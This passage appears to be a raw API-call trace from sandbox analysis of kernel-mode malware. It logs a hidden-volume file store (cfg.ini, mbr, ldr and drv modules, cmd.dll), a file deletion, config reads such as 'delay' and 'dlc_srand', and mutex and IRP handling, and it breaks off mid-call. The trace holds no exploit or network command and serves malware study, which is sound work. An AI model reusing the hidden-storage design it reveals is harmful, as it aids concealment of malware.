[0119.990] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.990] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.990] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.990] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.990] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.990] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.991] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.991] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.991] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.991] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.991] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.991] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.991] KeLeaveCriticalRegion () [0119.991] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.991] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.991] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.991] KeEnterCriticalRegion () [0119.991] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.991] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.991] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.991] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.991] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.991] IdePortDispatch () returned 0x103 [0119.991] KeWaitForMutexObject () returned 0x0 [0119.991] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.992] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.992] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.992] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.992] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.992] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.992] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.992] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.992] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.992] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.992] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.992] KeLeaveCriticalRegion () [0119.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.992] ReleaseMutex (hMutex=0x100) returned 1 [0119.992] Sleep (dwMilliseconds=0x2bf20) [0119.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ab7e850, dwHighDateTime=0x1d24fa4)) [0119.998] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.998] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.998] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.998] KeEnterCriticalRegion () [0119.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.998] IdePortDispatch () returned 0x103 [0119.998] KeWaitForMutexObject () returned 0x0 [0119.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.999] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.999] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.999] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.999] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.999] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da940 [0119.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.999] KeLeaveCriticalRegion () [0119.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.999] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.999] KeEnterCriticalRegion () [0119.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.999] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.999] KeLeaveCriticalRegion () [0119.999] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.999] KeEnterCriticalRegion () [0119.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.999] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.999] IdePortDispatch () returned 0x103 [0119.999] KeWaitForMutexObject () returned 0x0 [0119.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.999] KeLeaveCriticalRegion () [0119.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.000] KeEnterCriticalRegion () [0120.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b32000 [0120.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.000] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.000] IdePortDispatch () returned 0x103 [0120.000] KeWaitForMutexObject () returned 0x0 [0120.000] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.000] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.000] IdePortDispatch () returned 0x103 [0120.000] KeWaitForMutexObject () returned 0x0 [0120.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] KeLeaveCriticalRegion () [0120.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.001] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.001] KeEnterCriticalRegion () [0120.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0120.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] KeLeaveCriticalRegion () [0120.001] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.001] KeEnterCriticalRegion () [0120.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0120.001] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] KeLeaveCriticalRegion () [0120.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.001] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.001] KeEnterCriticalRegion () [0120.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.001] ExFreePoolWithTag (P=0xfffffa80039da940, Tag=0x0) [0120.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.002] KeLeaveCriticalRegion () [0120.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.002] ReleaseMutex (hMutex=0xf0) returned 1 [0120.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.002] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.002] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.002] KeEnterCriticalRegion () [0120.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.002] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.002] IdePortDispatch () returned 0x103 [0120.002] KeWaitForMutexObject () returned 0x0 [0120.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.002] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.002] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.002] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd4d0 [0120.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.002] KeLeaveCriticalRegion () [0120.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.003] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.003] KeEnterCriticalRegion () [0120.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0120.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.003] KeLeaveCriticalRegion () [0120.003] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.003] KeEnterCriticalRegion () [0120.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.003] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.003] IdePortDispatch () returned 0x103 [0120.003] KeWaitForMutexObject () returned 0x0 [0120.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.003] KeLeaveCriticalRegion () [0120.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.003] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.003] KeEnterCriticalRegion () [0120.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b33000 [0120.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.004] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.004] IdePortDispatch () returned 0x103 [0120.004] KeWaitForMutexObject () returned 0x0 [0120.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.004] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.004] IdePortDispatch () returned 0x103 [0120.004] KeWaitForMutexObject () returned 0x0 [0120.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.004] KeLeaveCriticalRegion () [0120.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.005] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.005] KeEnterCriticalRegion () [0120.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0120.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] KeLeaveCriticalRegion () [0120.005] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.005] KeEnterCriticalRegion () [0120.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0120.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc2da0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] KeLeaveCriticalRegion () [0120.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.005] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.005] KeEnterCriticalRegion () [0120.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] ExFreePoolWithTag (P=0xfffffa8003bcd4d0, Tag=0x0) [0120.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] KeLeaveCriticalRegion () [0120.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.005] ReleaseMutex (hMutex=0xf0) returned 1 [0120.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.005] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.005] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.005] KeEnterCriticalRegion () [0120.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.005] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.005] IdePortDispatch () returned 0x103 [0120.005] KeWaitForMutexObject () returned 0x0 [0120.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.006] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.006] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.006] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc4e0 [0120.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.006] KeLeaveCriticalRegion () [0120.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.006] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.006] KeEnterCriticalRegion () [0120.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0120.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.006] KeLeaveCriticalRegion () [0120.006] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.006] KeEnterCriticalRegion () [0120.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0120.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.006] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.006] IdePortDispatch () returned 0x103 [0120.006] KeWaitForMutexObject () returned 0x0 [0120.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.006] KeLeaveCriticalRegion () [0120.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.006] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.007] KeEnterCriticalRegion () [0120.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b34000 [0120.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.007] IdePortDispatch () returned 0x103 [0120.007] KeWaitForMutexObject () returned 0x0 [0120.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0120.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0120.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.007] IdePortDispatch () returned 0x103 [0120.007] KeWaitForMutexObject () returned 0x0 [0120.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.007] KeLeaveCriticalRegion () [0120.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0120.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.008] KeEnterCriticalRegion () [0120.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0120.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.008] KeLeaveCriticalRegion () [0120.008] _snprintf (in: 